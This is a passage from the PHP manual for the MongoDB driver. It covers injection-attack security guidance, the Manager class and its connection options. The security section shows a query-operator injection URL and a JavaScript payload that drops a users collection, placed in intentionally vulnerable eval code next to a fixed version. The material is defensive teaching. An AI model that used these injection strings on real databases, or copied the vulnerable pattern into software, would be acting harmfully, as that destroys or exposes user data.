If you are passing $_GET (or $_POST) parameters to your queries, make sure that they are cast to strings first. Users can insert associative arrays in GET and POST requests, which could then become unwanted $-queries.

A fairly innocuous example: suppose you are looking up a user's information with the request http://www.example.com?username=bob. Your application creates the query $q = new \MongoDB\Driver\Query( [ 'username' => $_GET['username'] ]).

Someone could subvert this by getting http://www.example.com?username[$ne]=foo, which PHP will magically turn into an associative array, turning your query into $q = new \MongoDB\Driver\Query( [ 'username' => [ '$ne' => 'foo' ] ] ), which will return all users not named "foo" (all of your users, probably).

This is a fairly easy attack to defend against: make sure $_GET and $_POST parameters are the type you expect before you send them to the database. PHP has the filter_var() function to assist with this.

Note that this type of attack can be used with any database interaction that locates a document, including updates, upserts, deletes, and findAndModify commands.

See » the main documentation for more information about SQL-injection-like issues with MongoDB.

User Contributed Notes

There are no user contributed notes for this page.


Script Injection Attacks

If you are using JavaScript, make sure that any variables that cross the PHP- to-JavaScript boundry are passed in the scope field of MongoDB\BSON\Javascript, not interpolated into the JavaScript string. This can come up when using $where clauses in queries, mapReduce and group commands, and any other time you may pass JavaScript into the database.

For example, suppose we have some JavaScript to greet a user in the database logs. We could do:

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];

$cmd = new \MongoDB\Driver\Command( [
    'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

However, what if a malicious user passes in some JavaScript?

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"

$cmd = new \MongoDB\Driver\Command( [
    'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

Now MongoDB executes the JavaScript string "print('Hello, '); db.users.drop(); print('!');". This attack is easy to avoid: use args to pass variables from PHP to JavaScript:

<?php
$m = new MongoDB\Driver\Manager;

$_GET['field'] = 'derick';
$args = [ $_GET['field'] ];

$cmd = new \MongoDB\Driver\Command( [
    'eval' => "function greet(username) { print('Hello, ' + username + '!'); }",
    'args' => $args,
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

This adds an argument to the JavaScript scope, which gets used as argument for the greet function. Now if someone tries to send malicious code, MongoDB will harmlessly print Hello, '); db.dropDatabase(); print('!.

Using arguments helps to prevent malicious input from being executed by the database. However, you must make sure that your code does not turn around and execute the input anyway! It is best to avoid executing any JavaScript on the server in the first place.

You are strongly recommended to stay clear of the » $where clause with queries, as it impacts performance significantly. Where possible, use either normal query operators, or the » Aggregation Framework.

As alternative to » MapReduce, which uses JavaScript, consider using the » Aggregation Framework. Unlike Map/Reduce, it uses an idiomatic language to construct queries, without having to write, and use, the slower JavaScript approach that Map/Reduce requires.

The » eval command has been deprecated since MongoDB 3.0, and should also be avoided.

User Contributed Notes

Robin 17-Oct-2016 09:47
Shouldn't the second example have this

$_GET['field'] = "'); db.users.drop(); print('";

Before it sets $username?


MongoDB driver classes

  • MongoDB\Driver\Manager — The MongoDB\Driver\Manager class
    • MongoDB\Driver\Manager::__construct — Create new MongoDB Manager
    • MongoDB\Driver\Manager::createClientEncryption — Create a new ClientEncryption object
    • MongoDB\Driver\Manager::executeBulkWrite — Execute one or more write operations
    • MongoDB\Driver\Manager::executeCommand — Execute a database command
    • MongoDB\Driver\Manager::executeQuery — Execute a database query
    • MongoDB\Driver\Manager::executeReadCommand — Execute a database command that reads
    • MongoDB\Driver\Manager::executeReadWriteCommand — Execute a database command that reads and writes
    • MongoDB\Driver\Manager::executeWriteCommand — Execute a database command that writes
    • MongoDB\Driver\Manager::getReadConcern — Return the ReadConcern for the Manager
    • MongoDB\Driver\Manager::getReadPreference — Return the ReadPreference for the Manager
    • MongoDB\Driver\Manager::getServers — Return the servers to which this manager is connected
    • MongoDB\Driver\Manager::getWriteConcern — Return the WriteConcern for the Manager
    • MongoDB\Driver\Manager::selectServer — Select a server matching a read preference
    • MongoDB\Driver\Manager::startSession — Start a new client session for use with this client
  • MongoDB\Driver\Command — The MongoDB\Driver\Command class
    • MongoDB\Driver\Command::__construct — Create a new Command
  • MongoDB\Driver\Query — The MongoDB\Driver\Query class
    • MongoDB\Driver\Query::__construct — Create a new Query
  • MongoDB\Driver\BulkWrite — The MongoDB\Driver\BulkWrite class
    • MongoDB\Driver\BulkWrite::__construct — Create a new BulkWrite
    • MongoDB\Driver\BulkWrite::count — Count number of write operations in the bulk
    • MongoDB\Driver\BulkWrite::delete — Add a delete operation to the bulk
    • MongoDB\Driver\BulkWrite::insert — Add an insert operation to the bulk
    • MongoDB\Driver\BulkWrite::update — Add an update operation to the bulk
  • MongoDB\Driver\Session — The MongoDB\Driver\Session class
    • MongoDB\Driver\Session::abortTransaction — Aborts a transaction
    • MongoDB\Driver\Session::advanceClusterTime — Advances the cluster time for this session
    • MongoDB\Driver\Session::advanceOperationTime — Advances the operation time for this session
    • MongoDB\Driver\Session::commitTransaction — Commits a transaction
    • MongoDB\Driver\Session::__construct — Create a new Session (not used)
    • MongoDB\Driver\Session::endSession — Terminates a session
    • MongoDB\Driver\Session::getClusterTime — Returns the cluster time for this session
    • MongoDB\Driver\Session::getLogicalSessionId — Returns the logical session ID for this session
    • MongoDB\Driver\Session::getOperationTime — Returns the operation time for this session
    • MongoDB\Driver\Session::getServer — Returns the server to which this session is pinned
    • MongoDB\Driver\Session::getTransactionOptions — Returns options for the currently running transaction
    • MongoDB\Driver\Session::getTransactionState — Returns the current transaction state for this session
    • MongoDB\Driver\Session::isInTransaction — Returns whether a multi-document transaction is in progress
    • MongoDB\Driver\Session::startTransaction — Starts a transaction
  • MongoDB\Driver\ClientEncryption — The MongoDB\Driver\ClientEncryption class
    • MongoDB\Driver\ClientEncryption::createDataKey — Create a new encryption data key
    • MongoDB\Driver\ClientEncryption::decrypt — Decrypt a value
    • MongoDB\Driver\ClientEncryption::encrypt — Encrypt a value
  • MongoDB\Driver\WriteConcern — The MongoDB\Driver\WriteConcern class
    • MongoDB\Driver\WriteConcern::bsonSerialize — Returns an object for BSON serialization
    • MongoDB\Driver\WriteConcern::__construct — Create a new WriteConcern
    • MongoDB\Driver\WriteConcern::getJournal — Returns the WriteConcern's "journal" option
    • MongoDB\Driver\WriteConcern::getW — Returns the WriteConcern's "w" option
    • MongoDB\Driver\WriteConcern::getWtimeout — Returns the WriteConcern's "wtimeout" option
    • MongoDB\Driver\WriteConcern::isDefault — Checks if this is the default write concern
    • MongoDB\Driver\WriteConcern::serialize — Serialize a WriteConcern
    • MongoDB\Driver\WriteConcern::unserialize — Unserialize a WriteConcern
  • MongoDB\Driver\ReadPreference — The MongoDB\Driver\ReadPreference class
    • MongoDB\Driver\ReadPreference::bsonSerialize — Returns an object for BSON serialization
    • MongoDB\Driver\ReadPreference::__construct — Create a new ReadPreference
    • MongoDB\Driver\ReadPreference::getHedge — Returns the ReadPreference's "hedge" option
    • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds — Returns the ReadPreference's "maxStalenessSeconds" option
    • MongoDB\Driver\ReadPreference::getMode — Returns the ReadPreference's "mode" option
    • MongoDB\Driver\ReadPreference::getModeString — Returns the ReadPreference's "mode" option as a string
    • MongoDB\Driver\ReadPreference::getTagSets — Returns the ReadPreference's "tagSets" option
    • MongoDB\Driver\ReadPreference::serialize — Serialize a ReadPreference
    • MongoDB\Driver\ReadPreference::unserialize — Unserialize a ReadPreference
  • MongoDB\Driver\ReadConcern — The MongoDB\Driver\ReadConcern class
    • MongoDB\Driver\ReadConcern::bsonSerialize — Returns an object for BSON serialization
    • MongoDB\Driver\ReadConcern::__construct — Create a new ReadConcern
    • MongoDB\Driver\ReadConcern::getLevel — Returns the ReadConcern's "level" option
    • MongoDB\Driver\ReadConcern::isDefault — Checks if this is the default read concern
    • MongoDB\Driver\ReadConcern::serialize — Serialize a ReadConcern
    • MongoDB\Driver\ReadConcern::unserialize — Unserialize a ReadConcern
  • MongoDB\Driver\Cursor — The MongoDB\Driver\Cursor class
    • MongoDB\Driver\Cursor::__construct — Create a new Cursor (not used)
    • MongoDB\Driver\Cursor::current — Returns the current element
    • MongoDB\Driver\Cursor::getId — Returns the ID for this cursor
    • MongoDB\Driver\Cursor::getServer — Returns the server associated with this cursor
    • MongoDB\Driver\Cursor::isDead — Checks if the cursor is exhausted or may have additional results
    • MongoDB\Driver\Cursor::key — Returns the current result's index within the cursor
    • MongoDB\Driver\Cursor::next — Advances the cursor to the next result
    • MongoDB\Driver\Cursor::rewind — Rewind the cursor to the first result
    • MongoDB\Driver\Cursor::setTypeMap — Sets a type map to use for BSON unserialization
    • MongoDB\Driver\Cursor::toArray — Returns an array containing all results for this cursor
    • MongoDB\Driver\Cursor::valid — Checks if the current position in the cursor is valid
  • MongoDB\Driver\CursorId — The MongoDB\Driver\CursorId class
    • MongoDB\Driver\CursorId::__construct — Create a new CursorId (not used)
    • MongoDB\Driver\CursorId::serialize — Serialize a CursorId
    • MongoDB\Driver\CursorId::__toString — String representation of the cursor ID
    • MongoDB\Driver\CursorId::unserialize — Unserialize a CursorId
  • MongoDB\Driver\CursorInterface — The MongoDB\Driver\CursorInterface interface
    • MongoDB\Driver\CursorInterface::getId — Returns the ID for this cursor
    • MongoDB\Driver\CursorInterface::getServer — Returns the server associated with this cursor
    • MongoDB\Driver\CursorInterface::isDead — Checks if the cursor may have additional results
    • MongoDB\Driver\CursorInterface::setTypeMap — Sets a type map to use for BSON unserialization
    • MongoDB\Driver\CursorInterface::toArray — Returns an array containing all results for this cursor
  • MongoDB\Driver\Server — The MongoDB\Driver\Server class
    • MongoDB\Driver\Server::__construct — Create a new Server (not used)
    • MongoDB\Driver\Server::executeBulkWrite — Execute one or more write operations on this server
    • MongoDB\Driver\Server::executeCommand — Execute a database command on this server
    • MongoDB\Driver\Server::executeQuery — Execute a database query on this server
    • MongoDB\Driver\Server::executeReadCommand — Execute a database command that reads on this server
    • MongoDB\Driver\Server::executeReadWriteCommand — Execute a database command that reads and writes on this server
    • MongoDB\Driver\Server::executeWriteCommand — Execute a database command that writes on this server
    • MongoDB\Driver\Server::getHost — Returns the hostname of this server
    • MongoDB\Driver\Server::getInfo — Returns an array of information about this server
    • MongoDB\Driver\Server::getLatency — Returns the latency of this server
    • MongoDB\Driver\Server::getPort — Returns the port on which this server is listening
    • MongoDB\Driver\Server::getTags — Returns an array of tags describing this server in a replica set
    • MongoDB\Driver\Server::getType — Returns an integer denoting the type of this server
    • MongoDB\Driver\Server::isArbiter — Checks if this server is an arbiter member of a replica set
    • MongoDB\Driver\Server::isHidden — Checks if this server is a hidden member of a replica set
    • MongoDB\Driver\Server::isPassive — Checks if this server is a passive member of a replica set
    • MongoDB\Driver\Server::isPrimary — Checks if this server is a primary member of a replica set
    • MongoDB\Driver\Server::isSecondary — Checks if this server is a secondary member of a replica set
  • MongoDB\Driver\WriteConcernError — The MongoDB\Driver\WriteConcernError class
    • MongoDB\Driver\WriteConcernError::getCode — Returns the WriteConcernError's error code
    • MongoDB\Driver\WriteConcernError::getInfo — Returns metadata document for the WriteConcernError
    • MongoDB\Driver\WriteConcernError::getMessage — Returns the WriteConcernError's error message
  • MongoDB\Driver\WriteError — The MongoDB\Driver\WriteError class
    • MongoDB\Driver\WriteError::getCode — Returns the WriteError's error code
    • MongoDB\Driver\WriteError::getIndex — Returns the index of the write operation corresponding to this WriteError
    • MongoDB\Driver\WriteError::getInfo — Returns metadata document for the WriteError
    • MongoDB\Driver\WriteError::getMessage — Returns the WriteError's error message
  • MongoDB\Driver\WriteResult — The MongoDB\Driver\WriteResult class
    • MongoDB\Driver\WriteResult::getDeletedCount — Returns the number of documents deleted
    • MongoDB\Driver\WriteResult::getInsertedCount — Returns the number of documents inserted (excluding upserts)
    • MongoDB\Driver\WriteResult::getMatchedCount — Returns the number of documents selected for update
    • MongoDB\Driver\WriteResult::getModifiedCount — Returns the number of existing documents updated
    • MongoDB\Driver\WriteResult::getServer — Returns the server associated with this write result
    • MongoDB\Driver\WriteResult::getUpsertedCount — Returns the number of documents inserted by an upsert
    • MongoDB\Driver\WriteResult::getUpsertedIds — Returns an array of identifiers for upserted documents
    • MongoDB\Driver\WriteResult::getWriteConcernError — Returns any write concern error that occurred
    • MongoDB\Driver\WriteResult::getWriteErrors — Returns any write errors that occurred
    • MongoDB\Driver\WriteResult::isAcknowledged — Returns whether the write was acknowledged

User Contributed Notes

mike at eastghost dot com 20-Jun-2019 03:52
The 'high level' driver is here

https://docs.mongodb.com/php-library/current/reference/


The MongoDB\Driver\Manager class

(mongodb >=1.0.0)

はじめに

The MongoDB\Driver\Manager is the main entry point to the extension. It is responsible for maintaining connections to MongoDB (be it standalone server, replica set, or sharded cluster).

No connection to MongoDB is made upon instantiating the Manager. This means the MongoDB\Driver\Manager can always be constructed, even though one or more MongoDB servers are down.

Any write or query can throw connection exceptions as connections are created lazily. A MongoDB server may also become unavailable during the life time of the script. It is therefore important that all actions on the Manager to be wrapped in try/catch statements.

クラス概要

final MongoDB\Driver\Manager {
/* メソッド */
final public __construct
 ( string $uri = "mongodb://127.0.0.1/"
, array $uriOptions = array()
, array $driverOptions = array()
)
final public createClientEncryption ( array $options ) : MongoDB\Driver\ClientEncryption
final public executeBulkWrite ( string $namespace , MongoDB\Driver\BulkWrite $bulk , array $options = array() ) : MongoDB\Driver\WriteResult
final public executeCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor
final public executeQuery ( string $namespace , MongoDB\Driver\Query $query , array $options = array() ) : MongoDB\Driver\Cursor
final public executeReadCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor
final public executeReadWriteCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor
final public executeWriteCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor
final public getReadConcern ( ) : MongoDB\Driver\ReadConcern
final public getReadPreference ( ) : MongoDB\Driver\ReadPreference
final public getServers ( ) : array
final public getWriteConcern ( ) : MongoDB\Driver\WriteConcern
final public selectServer ( MongoDB\Driver\ReadPreference $readPreference ) : MongoDB\Driver\Server
final public startSession ( array $options = ? ) : MongoDB\Driver\Session
}

例

例1 MongoDB\Driver\Manager::__construct() basic example

var_dump()ing a MongoDB\Driver\Manager will print out various details about the manager that are otherwise not normally exposed. This can be useful to debug how the driver views your MongoDB setup, and which options are used.

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
var_dump($manager);

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\Driver\Manager)#1 (3) {
  ["request_id"]=>
  int(1714636915)
  ["uri"]=>
  string(25) "mongodb://localhost:27017"
  ["cluster"]=>
  array(13) {
    ["mode"]=>
    string(6) "direct"
    ["state"]=>
    string(4) "born"
    ["request_id"]=>
    int(0)
    ["sockettimeoutms"]=>
    int(300000)
    ["last_reconnect"]=>
    int(0)
    ["uri"]=>
    string(25) "mongodb://localhost:27017"
    ["requires_auth"]=>
    int(0)
    ["nodes"]=>
    array(...)
    ["max_bson_size"]=>
    int(16777216)
    ["max_msg_size"]=>
    int(50331648)
    ["sec_latency_ms"]=>
    int(15)
    ["peers"]=>
    array(0) {
    }
    ["replSet"]=>
    NULL
  }
}

目次

  • MongoDB\Driver\Manager::__construct — Create new MongoDB Manager
  • MongoDB\Driver\Manager::createClientEncryption — Create a new ClientEncryption object
  • MongoDB\Driver\Manager::executeBulkWrite — Execute one or more write operations
  • MongoDB\Driver\Manager::executeCommand — Execute a database command
  • MongoDB\Driver\Manager::executeQuery — Execute a database query
  • MongoDB\Driver\Manager::executeReadCommand — Execute a database command that reads
  • MongoDB\Driver\Manager::executeReadWriteCommand — Execute a database command that reads and writes
  • MongoDB\Driver\Manager::executeWriteCommand — Execute a database command that writes
  • MongoDB\Driver\Manager::getReadConcern — Return the ReadConcern for the Manager
  • MongoDB\Driver\Manager::getReadPreference — Return the ReadPreference for the Manager
  • MongoDB\Driver\Manager::getServers — Return the servers to which this manager is connected
  • MongoDB\Driver\Manager::getWriteConcern — Return the WriteConcern for the Manager
  • MongoDB\Driver\Manager::selectServer — Select a server matching a read preference
  • MongoDB\Driver\Manager::startSession — Start a new client session for use with this client

User Contributed Notes

gbormann dot nospam at telenet dot be 21-Sep-2019 06:05
Re mocking implications of final nature of MongoDB\Driver\Manager :
Final classes can be mocked through an indirection using a wrapper class.
mike at eastghost dot com 21-Aug-2018 11:37
According to Mongo, this (i.e., MongoDB\Driver\Manager) is an "entry point" for the extension:

"This class serves as an entry point for the MongoDB PHP Library. It is the preferred class for connecting to a MongoDB server or cluster of servers and acts as a gateway for accessing individual databases and collections. MongoDB\Client is analogous to the driver's MongoDB\Driver\Manager class, which it composes."

copied from here: https://docs.mongodb.com/php-library/master/reference/class/MongoDBClient/

However, any comparison of the "mongodb" docs here on php.net versus the "mongodb driver" docs on mongo's site shows dramatic and ever-changing differences.
Zalmoksis 14-Jun-2018 09:32
It's worth noting that Manager is final, so you cannot mock it easily with tools like PhpUnit.


Create new MongoDB Manager

  • ≪ MongoDB\Driver\Manager
  • MongoDB\Driver\Manager::createClientEncryption ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Create new MongoDB Manager

MongoDB\Driver\Manager::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Manager::__construct — Create new MongoDB Manager

説明

final public MongoDB\Driver\Manager::__construct
 ( string $uri = "mongodb://127.0.0.1/"
, array $uriOptions = array()
, array $driverOptions = array()
)

Constructs a new MongoDB\Driver\Manager object with the specified options.

注意: Per the » Server Discovery and Monitoring Specification, this constructor performs no I/O. Connections will be initialized on demand, when the first operation is executed.

注意: When specifying any SSL or TLS URI options via the connection string or uriOptions parameter, the driver will implicitly enable TLS for its connections. To avoid this, either explicitly disable the tls option or don't specify any TLS options.

注意: Unix プラットフォームの MongoDB ドライバーは、 exec() システムコールを呼ばすに fork() システムコールを使っているスクリプトの影響を受けます。 MongoDB\Driver\Manager のインスタンスを、 フォークした子プロセスで再利用しないことをおすすめします。

パラメータ

uri

A » mongodb:// connection URI:

mongodb://[username:password@]host1[:port1][,host2[:port2],...[,hostN[:portN]]][/[defaultAuthDb][?options]]

For details on supported URI options, see » Connection String Options in the MongoDB manual. » Connection pool options are not supported, as the PHP driver does not implement connection pools.

The uri is a URL, hence any special characters in its components need to be URL encoded according to » RFC 3986. This is particularly relevant to the username and password, which can often include special characters such as @, :, or %. When connecting via a Unix domain socket, the socket path may contain special characters such as slashes and must be encoded. The rawurlencode() function may be used to encode constituent parts of the URI.

The defaultAuthDb component may be used to specify the database name associated with the user's credentials; however the authSource URI option will take priority if specified. If neither defaultAuthDb nor authSource are specified, the admin database will be used by default. The defaultAuthDb component has no effect in the absence of user credentials.

uriOptions

Additional » connection string options, which will overwrite any options with the same name in the uri parameter.

uriOptions
Option | Type | Description
appname string

MongoDB 3.4+ has the ability to annotate connections with metadata provided by the connecting client. This metadata is included in the server's logs upon establishing a connection and also recorded in slow query logs when database profiling is enabled.

This option may be used to specify an application name, which will be included in the metadata. The value cannot exceed 128 characters in length.

authMechanism string

The authentication mechanism that MongoDB will use to authenticate the connection. For additional details and a list of supported values, see » Authentication Options in the MongoDB manual.

authMechanismProperties array

Properties for the selected authentication mechanism. For additional details and a list of supported properties, see the » Driver Authentication Specification.

注意: When not specified in the URI string, this option is expressed as an array of key/value pairs. The keys and values in this array should be strings.

authSource string

The database name associated with the user's credentials. Defaults to the database component of the connection URI, or the admin database if both are unspecified.

For authentication mechanisms that delegate credential storage to other services (e.g. GSSAPI), this should be "$external".

canonicalizeHostname bool

If true, the driver will resolve the real hostname for the server IP address before authenticating via SASL. Some underlying GSSAPI layers already do this, but the functionality may be disabled in their config (e.g. krb.conf). Defaults to false.

This option is a deprecated alias for the "CANONICALIZE_HOST_NAME" property of the "authMechanismProperties" URI option.

compressors string

A prioritized, comma-delimited list of compressors that the client wants to use. Messages are only compressed if the client and server share any compressors in common, and the compressor used in each direction will depend on the individual configuration of the server or driver. See the » Driver Compression Specification for more information.

connectTimeoutMS int

The time in milliseconds to attempt a connection before timing out. Defaults to 10,000 milliseconds.

directConnection bool

This option can be used to control replica set discovery behavior when only a single host is provided in the connection string. By default, providing a single member in the connection string will establish a direct connection or discover additional members depending on whether the "replicaSet" URI option is omitted or present, respectively. Specify false to force discovery to occur (if "replicaSet" is omitted) or specify true to force a direct connection (if "replicaSet" is present).

gssapiServiceName string

Set the Kerberos service name when connecting to Kerberized MongoDB instances. This value must match the service name set on MongoDB instances (i.e. » saslServiceName server parameter). Defaults to "mongodb".

This option is a deprecated alias for the "SERVICE_NAME" property of the "authMechanismProperties" URI option.

heartbeatFrequencyMS int

Specifies the interval in milliseconds between the driver's checks of the MongoDB topology, counted from the end of the previous check until the beginning of the next one. Defaults to 60,000 milliseconds.

Per the » Server Discovery and Monitoring Specification, this value cannot be less than 500 milliseconds.

journal bool

Corresponds to the default write concern's journal parameter. If true, writes will require acknowledgement from MongoDB that the operation has been written to the journal. For details, see MongoDB\Driver\WriteConcern.

localThresholdMS int

The size in milliseconds of the latency window for selecting among multiple suitable MongoDB instances while resolving a read preference. Defaults to 15 milliseconds.

maxStalenessSeconds int

Corresponds to the read preference's "maxStalenessSeconds". Specifies, in seconds, how stale a secondary can be before the client stops using it for read operations. By default, there is no maximum staleness and clients will not consider a secondary's lag when choosing where to direct a read operation. For details, see MongoDB\Driver\ReadPreference.

If specified, the max staleness must be a signed 32-bit integer greater than or equal to MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS (i.e. 90 seconds).

password | string | The password for the user being authenticated. This option is useful if the password contains special characters, which would otherwise need to be URL encoded for the connection URI.
readConcernLevel | string | Corresponds to the read concern's level parameter. Specifies the level of read isolation. For details, see MongoDB\Driver\ReadConcern.
readPreference string

Corresponds to the read preference's mode parameter. Defaults to "primary". For details, see MongoDB\Driver\ReadPreference.

readPreferenceTags array

Corresponds to the read preference's tagSets parameter. Tag sets allow you to target read operations to specific members of a replica set. For details, see MongoDB\Driver\ReadPreference.

注意: When not specified in the URI string, this option is expressed as an array consistent with the format expected by MongoDB\Driver\ReadPreference::__construct().

replicaSet string

Specifies the name of the replica set.

retryReads bool

Specifies whether or not the driver should automatically retry certain read operations that fail due to transient network errors or replica set elections. This functionality requires MongoDB 3.6+. Defaults to true.

See the » Retryable Reads Specification for more information.

retryWrites bool

Specifies whether or not the driver should automatically retry certain write operations that fail due to transient network errors or replica set elections. This functionality requires MongoDB 3.6+. Defaults to true.

See » Retryable Writes in the MongoDB manual for more information.

safe bool

If true, specifies 1 for the default write concern's w parameter. If false, 0 is specified. For details, see MongoDB\Driver\WriteConcern.

This option is deprecated and should not be used.

serverSelectionTimeoutMS int

Specifies how long in milliseconds to block for server selection before throwing an exception. Defaults to 30,000 milliseconds.

serverSelectionTryOnce bool

When true, instructs the driver to scan the MongoDB deployment exactly once after server selection fails and then either select a server or raise an error. When false, the driver blocks and searches for a server up to the "serverSelectionTimeoutMS" value. Defaults to true.

slaveOk bool

Specifies "secondaryPreferred" for the read preference mode if true. For details, see MongoDB\Driver\ReadPreference.

This option is deprecated and should not be used.

socketCheckIntervalMS int

If a socket has not been used recently, the driver must check it via an isMaster command before using it for any operation. Defaults to 5,000 milliseconds.

socketTimeoutMS int

The time in milliseconds to attempt a send or receive on a socket before timing out. Defaults to 300,000 milliseconds (i.e. five minutes).

ssl bool

Initiates the connection with TLS/SSL if true. Defaults to false.

This option is a deprecated alias for the "tls" URI option.

tls bool

Initiates the connection with TLS/SSL if true. Defaults to false.

tlsAllowInvalidCertificates bool

Specifies whether or not the driver should error when the server's TLS certificate is invalid. Defaults to false.

警告

Disabling certificate validation creates a vulnerability.

tlsAllowInvalidHostnames bool

Specifies whether or not the driver should error when there is a mismatch between the server's hostname and the hostname specified by the TLS certificate. Defaults to false.

警告

Disabling certificate validation creates a vulnerability. Allowing invalid hostnames may expose the driver to a » man-in-the-middle attack.

tlsCAFile string

Path to file with either a single or bundle of certificate authorities to be considered trusted when making a TLS connection. The system certificate store will be used by default.

tlsCertificateKeyFile string

Path to the client certificate file or the client private key file; in the case that they both are needed, the files should be concatenated.

tlsCertificateKeyFilePassword string

Password to decrypt the client private key (i.e. "tlsCertificateKeyFile" URI option) to be used for TLS connections.

tlsDisableCertificateRevocationCheck bool

If true, the driver will not attempt to check certificate revocation status (e.g. OCSP, CRL). Defaults to false.

tlsDisableOCSPEndpointCheck bool

If true, the driver will not attempt to contact an OCSP responder endpoint if needed (i.e. an OCSP response is not stapled). Defaults to false.

tlsInsecure bool

Relax TLS constraints as much as possible. Specifying true for this option has the same effect as specifying true for both the "tlsAllowInvalidCertificates" and "tlsAllowInvalidHostnames" URI options. Defaults to false.

警告

Disabling certificate validation creates a vulnerability. Allowing invalid hostnames may expose the driver to a » man-in-the-middle attack.

username | string | The username for the user being authenticated. This option is useful if the username contains special characters, which would otherwise need to be URL encoded for the connection URI.
w int|string

Corresponds to the default write concern's w parameter. For details, see MongoDB\Driver\WriteConcern.

wTimeoutMS int|string

Corresponds to the default write concern's wtimeout parameter. Specifies a time limit, in milliseconds, for the write concern. For details, see MongoDB\Driver\WriteConcern.

If specified, wTimeoutMS must be a signed 32-bit integer greater than or equal to zero.

zlibCompressionLevel int

Specifies the compression level to use for the zlib compressor. This option has no effect if zlib is not included in the "compressors" URI option. See the » Driver Compression Specification for more information.

driverOptions

driverOptions
Option | Type | Description
allow_invalid_hostname bool

Disables hostname validation if true. Defaults to false.

Allowing invalid hostnames may expose the driver to a » man-in-the-middle attack.

This option is a deprecated alias for the "tlsAllowInvalidHostnames" URI option.

autoEncryption array

Provides options to enable automatic client-side field level encryption. The following options are supported:

Options for automatic encryption
Option | Type | Description
keyVaultClient | MongoDB\Driver\Manager | The Manager used to route data key queries to a separate MongoDB cluster. By default, the current Manager and cluster is used.
keyVaultNamespace | string | A fully qualified namespace (e.g. "databaseName.collectionName") denoting the collection that contains all data keys used for encryption and decryption.
kmsProviders array

A document containing the configuration for one or more KMS providers, which are used to encrypt data keys. Currently aws or local are supported and at least one must be specified.

The format for aws is as follows:

aws: {
    accessKeyId: <string>,
    secretAccessKey: <string>
}

The format for local is as follows:

local: {
    // The master key used to encrypt/decrypt data keys
    key: <96-byte MongoDB\BSON\Binary with subtype 0>
}
schemaMap array

Allows specifying a local JSON schema that is used to configure encryption.

注意: Supplying a schemaMap provides more security than relying on JSON schemas obtained from the server. It protects against a malicious server advertising a false JSON schema, which could trick the client into sending unencrypted data that should be encrypted.

注意: Schemas supplied in the schemaMap only apply to configuring automatic encryption for client side encryption. Other validation rules in the JSON schema will not be enforced by the driver and will result in an error.

bypassAutoEncryption | bool | With this option set to true, mongocryptd will not be spawned automatically. This is used to disable automatic encryption.
extraOptions | array | The extraOptions relate to the mongocryptd process. See the » Client-Side Encryption Specification for more information.

注意: Automatic encryption is an enterprise only feature that only applies to operations on a collection. Automatic encryption is not supported for operations on a database or view, and operations that are not bypassed will result in error. To bypass automatic encryption for all operations, set bypassAutoEncryption=true in autoEncryption. For more information on whitelisted operations, see the » Client-Side Encryption Specification.

ca_dir string

Path to a correctly hashed certificate directory. The system certificate store will be used by default.

ca_file string

Path to file with either a single or bundle of certificate authorities to be considered trusted when making a TLS connection. The system certificate store will be used by default.

This option is a deprecated alias for the "tlsCAFile" URI option.

context resource

SSL context options to be used as fallbacks if a driver option or its equivalent URI option, if any, is not specified. Note that the driver does not consult the default stream context (i.e. stream_context_get_default()). The following context options are supported:

SSL context option fallbacks
Driver option | Context option (fallback)
ca_dir | capath
ca_file | cafile
pem_file | local_cert
pem_pwd | passphrase
weak_cert_validation | allow_self_signed

This option is supported for backwards compatibility, but should be considered deprecated.

crl_file | string | Path to a certificate revocation list file.
driver array

Allows custom drivers to append their own metadata to the server handshake. By default, the driver submits its own name, version, and platform (i.e. PHP version) in the handshake. Custom drivers can specify strings for the "name", "version", and "platform" keys of this array, which will be appended to the respective field(s) in the handshake document.

注意: Handshake information is limited to 512 bytes. The driver will truncate handshake data to fit within this 512-byte string. Drivers and ODMs are encouraged to keep their own metadata concise.

pem_file string

Path to a PEM encoded certificate to use for client authentication.

This option is a deprecated alias for the "tlsCertificateKeyFile" URI option.

pem_pwd string

Passphrase for the PEM encoded certificate (if applicable).

This option is a deprecated alias for the "tlsCertificateKeyFilePassword" URI option.

weak_cert_validation bool

Disables certificate validation if true. Defaults to false

This option is a deprecated alias for the "tlsAllowInvalidHostnames" URI option.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException if the uri format is invalid

変更履歴

バージョン 説明
PECL mongodb 1.8.0

Added the "directConnection", "tlsDisableCertificateRevocationCheck", and "tlsDisableOCSPEndpointCheck" URI options.

Added the "driver" driver option.

PECL mongodb 1.7.0

Added the "autoEncryption" driver option.

Specifying any SSL or TLS option via the driverOptions parameter will now implicitly enable TLS, as is done for the corresponding URI options.

PECL mongodb 1.6.0

Added the "retryReads", "tls", "tlsAllowInvalidCertificates", "tlsAllowInvalidHostnames", "tlsCAFile", "tlsCertificateKeyFile", "tlsCertificateKeyFilePassword", and "tlsInsecure" URI options.

The "retryWrites" URI option defaults to true.

Specifying any SSL or TLS URI option via the connection string or uriOptions parameter will now implicitly enable TLS unless ssl or tls is false. TLS is not implicitly enabled for any options in the driverOptions parameter, which is unchanged from previous versions.

PECL mongodb 1.5.0

"wtimeoutMS" is now always validated and applied to the write concern. Previously, the option was ignored if "w" was <= 1, since the timeout only applies to replication.

PECL mongodb 1.4.0

Added the "compressors", "retryWrites", and "zlibCompressionLevel" URI options.

PECL mongodb 1.3.0

